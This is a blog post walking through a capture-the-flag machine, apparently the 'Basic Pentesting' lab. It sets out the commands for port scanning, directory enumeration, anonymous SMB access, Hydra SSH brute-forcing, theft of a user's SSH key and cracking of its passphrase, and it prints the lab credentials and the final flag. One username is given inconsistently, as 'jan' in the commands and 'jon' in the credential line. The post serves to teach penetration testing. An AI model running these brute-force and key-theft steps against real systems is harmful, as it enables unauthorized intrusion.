DEV Community

Cover image for Pentesting Report and Security Challenge Documentation: Detailed Guide to Intrusion and Privilege Escalation
Mohammad ali
Mohammad ali

Posted on

Pentesting Report and Security Challenge Documentation: Detailed Guide to Intrusion and Privilege Escalation

#ai #webdev #security #tutorial

1. Reconnaissance and Network Scanning

The process began by reviewing the challenge questions and required tasks, followed by scanning for open ports and service versions on the target machine:

  • Overview of challenge questions and required tasks:

  • Port scanning and service version detection using Nmap: 
nmap -sV 10.66.168.35
Enter fullscreen mode Exit fullscreen mode

2. Web Enumeration and Hidden Directories

  • Searching for hidden paths and directories using Gobuster: 
gobuster dir -u http://10.66.168.35 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
Enter fullscreen mode Exit fullscreen mode

  • Browsing the discovered hidden directory (development) via browser:

  • Reading the contents of notes and correspondence files inside the development directory (j.txt and dev.txt):

3. SMB Enumeration and Network Services

  • Connecting to the available share via smbclient and listing files: 
smbclient //10.66.168.35/Anonymous
Enter fullscreen mode Exit fullscreen mode

  • Downloading the employee warning file using the get command: 
get staff.txt
Enter fullscreen mode Exit fullscreen mode
  • Reading the contents of the employee warning file (staff.txt): 
cat staff.txt
Enter fullscreen mode Exit fullscreen mode

4. Brute-Forcing and Initial Access

  • Guessing SSH credentials using Hydra: 
hydra -t 16 -l jan -P /usr/share/wordlists/rockyou.txt 10.66.168.35 ssh
Enter fullscreen mode Exit fullscreen mode

  • Successfully logging in via SSH using the discovered account (jan / armando): 
ssh jan@10.66.168.35
Enter fullscreen mode Exit fullscreen mode 
username : jon    ////////    password : armando
Enter fullscreen mode Exit fullscreen mode

5. Local Enumeration and Extracting the id_rsa Key

  • Exploring local user directories and accessing kay's folder and .ssh contents: 
cd /home/kay/
ls -la
Enter fullscreen mode Exit fullscreen mode 
cd .ssh
ls
Enter fullscreen mode Exit fullscreen mode

  • Viewing the contents of the private key (id_rsa): 
cat id_rsa
Enter fullscreen mode Exit fullscreen mode

  • Creating a text file to save the private key (pass.txt) and viewing it via nano: 
nano pass.txt
Enter fullscreen mode Exit fullscreen mode

6. SSH Key Hash Cracking

  • Modifying the key file permissions: 
chmod 600 pass.txt
Enter fullscreen mode Exit fullscreen mode

  • Converting the key into a hash format using ssh2john.py: 
python3 /usr/share/john/ssh2john.py pass.txt > hash.txt
Enter fullscreen mode Exit fullscreen mode

  • Cracking the hash using John the Ripper and the rockyou.txt wordlist: 
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Enter fullscreen mode Exit fullscreen mode
  • Extracted key password: beeswax

7. Conclusion: Transitioning to the kay Account and Achieving the Final Goal 

username : kay    ////////   password : beeswax
Enter fullscreen mode Exit fullscreen mode
  • Connecting with kay's private key and entering the cracked password (beeswax): 
ssh -i /home/kay/.ssh/id_rsa kay@10.66.168.35
Enter fullscreen mode Exit fullscreen mode
  • Reading the contents of the backup file (pass.bak) to retrieve the final password: 
cat pass.bak
Enter fullscreen mode Exit fullscreen mode
  • Final password: heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Top comments (0)